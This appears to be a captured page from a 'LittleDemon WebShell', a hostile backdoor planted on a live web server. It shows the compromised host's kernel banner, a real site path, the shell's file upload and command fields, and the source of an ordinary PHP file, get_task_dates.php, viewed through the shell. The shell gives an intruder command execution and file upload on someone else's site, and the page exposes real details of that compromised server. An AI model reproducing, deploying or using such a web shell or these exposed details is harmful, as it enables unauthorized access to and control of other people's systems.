LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/
File Upload :
Command :
Current File : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/get_task_dates.php

<?php
require_once "../db.php";

$user_id = $_GET['user_id'];
$month = $_GET['month'];
$year = $_GET['year'];

$query = "SELECT DATE(created_at) as date FROM tasks WHERE user_id = ? AND MONTH(created_at) = ? AND YEAR(created_at) = ?";
$stmt = $conn->prepare($query);
$stmt->bind_param("iii", $user_id, $month, $year);
$stmt->execute();
$result = $stmt->get_result();

$dates = [];
while ($row = $result->fetch_assoc()) {
    $dates[] = date('j', strtotime($row['date'])); // day of month
}

echo json_encode($dates);
?>

LittleDemon - FACEBOOK
[ KELUAR ]